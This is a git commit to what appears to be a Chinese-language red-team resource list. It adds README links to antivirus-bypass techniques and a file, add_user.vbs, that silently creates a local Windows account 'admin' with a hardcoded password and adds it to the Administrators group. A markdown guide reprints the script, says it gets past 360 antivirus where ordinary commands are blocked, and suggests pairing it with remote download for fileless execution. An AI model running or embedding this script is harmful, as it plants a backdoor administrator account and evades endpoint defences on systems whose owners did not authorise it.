add 三种绕过杀软添加管理员用户的工具和方法

README.md

@@ -302,7 +302,7 @@
 - [内网常见渗透工具包](https://github.com/yuxiaokui/Intranet-Penetration)
 - [从内存中加载 SHELLCODE bypass AV查杀](https://github.com/brimstone/go-shellcode)|[twitter示例](https://twitter.com/jas502n/status/1213847002947051521)
 - [流量转发工具-pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的工具](https://github.com/esrrhs/pingtunnel)
-- [内网渗透-创建Windows用户(当net net1 等常见命令被过滤时,一个文件执行直接添加一个管理员【需要shell具有管理员权限l】](https://github.com/newsoft/adduser)|[adduser使用方法](./adduser添加用户.md) 
+- [内网渗透-创建Windows用户(当net net1 等常见命令被过滤时,一个文件执行直接添加一个管理员【需要shell具有管理员权限l】](https://github.com/newsoft/adduser)|[adduser使用方法](./adduser添加用户.md) |[【windows】绕过杀软添加管理员用户的两种方法](https://github.com/lengjibo/RedTeamTools/tree/master/windows/bypass360%E5%8A%A0%E7%94%A8%E6%88%B7)|[【windows】使用vbs脚本添加管理员用户](./使用vbs脚本添加管理员用户.md)
 - [pypykatz-通过python3实现完整的Mimikatz功能(python3.6+)](https://github.com/skelsec/pypykatz)
 - [【windows】Bypassing AV via in-memory PE execution-通过在内存中加载多次XOR后的payload来bypass杀软](https://blog.dylan.codes/bypassing-av-via/)|[作者自建gitlab地址](https://git.dylan.codes/batman/darkarmour)
 - [wafw00f-帮助你快速识别web应用是否使用何种WAF(扫描之前很有用)](https://github.com/EnableSecurity/wafw00f)

tools/add_user.vbs

@@ -0,0 +1,9 @@
+set wsnetwork=CreateObject("WSCRIPT.NETWORK")
+os="WinNT://"&wsnetwork.ComputerName
+Set ob=GetObject(os)
+Set oe=GetObject(os&"/Administrators,group")
+Set od=ob.Create("user","admin")
+od.SetPassword "Love@123456"
+od.SetInfo
+Set of=GetObject(os&"/admin",user)
+oe.add os&"/admin"

使用vbs脚本添加管理员用户.md

@@ -0,0 +1,29 @@
+正常执行命令添加用户会被360拦截如图：
+
+![](./img/69.png)
+
+使用vbs添加用户绕过360，成功添加:
+
+![](./img/70.png)
+
+项目`tools`目录也有添加add_user.vbs脚本，可以配合远程下载执行无文件落地执行。
+
+源码如下:
+
+```vbscript
+
+set wsnetwork=CreateObject("WSCRIPT.NETWORK")
+os="WinNT://"&wsnetwork.ComputerName
+Set ob=GetObject(os)
+Set oe=GetObject(os&"/Administrators,group")
+Set od=ob.Create("user","admin")
+od.SetPassword "123456"
+od.SetInfo
+Set of=GetObject(os&"/admin",user)
+oe.add os&"/admin"
+```
+
+注意密码复杂性，我项目里面的脚本密码是`Love@123456`
+
+⚠️请合理使用，资源来自：https://mp.weixin.qq.com/s/yWTA8Q2GPwOMQBHph5srJQ
+